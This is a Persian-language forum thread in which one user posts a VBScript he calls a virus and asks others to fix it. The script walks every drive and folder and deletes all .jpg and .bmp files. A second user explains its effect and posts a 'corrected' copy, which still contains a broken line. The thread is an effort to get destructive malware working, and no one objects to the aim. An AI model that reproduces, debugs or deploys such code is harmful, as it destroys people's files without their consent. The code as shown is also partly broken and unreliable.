vbs.folder كسي مي توني كد اين ويروس چه عيبي داره ؟

[zer0tent]

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.is ready Then

folderlist(d.path&"\")

end if

Next

end sub

sub infectfiles(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

وقتي كه اجرا مي شه اين اخطار رو مي ده
winsows script host
line:19
char:9
error: expected 'Then
code:800A03F9
source: microsoft VBScript compilation error

[godvb]

سلام . ان شاالله كه اشتباه نكنم
اين كدت فايل هاي jpg , bmp رو ميگيره پاك ميكنه اين كد پايين فايل هاي jpg رو توي يك ليست باكس اضافه ميكنه .

کد:

Option Explicit
Dim fso As New FileSystemObject
Dim fld As Folder

Private Function FindFile(ByVal sFol As String, sFile As String) As Long
Dim tFld As Folder, tFil As File, FileName As String
  Set fld = fso.GetFolder(sFol)
  FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _
  vbHidden Or vbSystem Or vbReadOnly)
  While Len(FileName) <> 0
      FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, FileName))
      List1.AddItem fso.BuildPath(fld.Path, FileName)
      FileName = Dir()  ' Get next file
      DoEvents
  Wend
  If fld.SubFolders.Count > 0 Then
    For Each tFld In fld.SubFolders
      DoEvents
      FindFile = FindFile + FindFile(tFld.Path, sFile)
    Next
  End If
End Function

Private Sub Command6_Click()
On Error Resume Next
Dim sDir As String
Dim sSrchString As String
Dim lSize As Long
List1.Clear
sDir = ("c:")
sDir = Left$(sDir, 2) & "\"
sSrchString = "*.jpg"
lSize = FindFile(sDir, sSrchString)
End Sub

اقايون اگه اشتباه بود حتما بگين

[zer0tent]

با سلام
ببيند اين سورس كه من گذاشتم اصلا فايلي رو پاك نمي كنه و در عوض اون ايراد را مي گيره مي خام بدونم ايراد از كجاشه و اگه لطف كنيد اونو تصحيح كنيد

[godvb]

سلام . پس اين خط كد چيكار ميكنه ؟

کد:

if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if

اگه من اشتباه كردم ، خوب درست بگين چيكار ميكنه ؟

شما تو خط 13 متغيير d رو تعريف كردي ، و در خط بعديش بايد حتما فاصله بذاري كه شما نذاشته بودين . كدت ناقصه .كو ببين اين پاييني كار ميكنه ؟

کد:

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)

vbscopy = file.ReadAll

Sub listadriv()

On Error Resume Next

Dim dc, s

Set dc = fso.Drives

For Each d In dc

If d.is Then

folderlist (d.Path & "\")

End If

Next

End Sub

Sub infectfiles(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set fc = f.Files

For Each f1 In fc

ext = fso.GetExtensionName(f1.Path)

If (ext = "jpg") Or (ext = "bmp") Then

fso.deletefile (f1.Path)

End If

Next

End Sub

Sub folderlist(folderspec)

On Error Resume Next

Set f = fso.GetFolder(folderspec)

Set sf = f.SubFolders

For Each f1 In sf

infectfiles (f1.Path)

folderlist (f1.Path)

Next

End Sub

[zer0tent]

با تشکر از راهنمایی شما اما این برنامه هیچ فایلی را نمی تونه پاک کنه کسی هست علتشو بدونه؟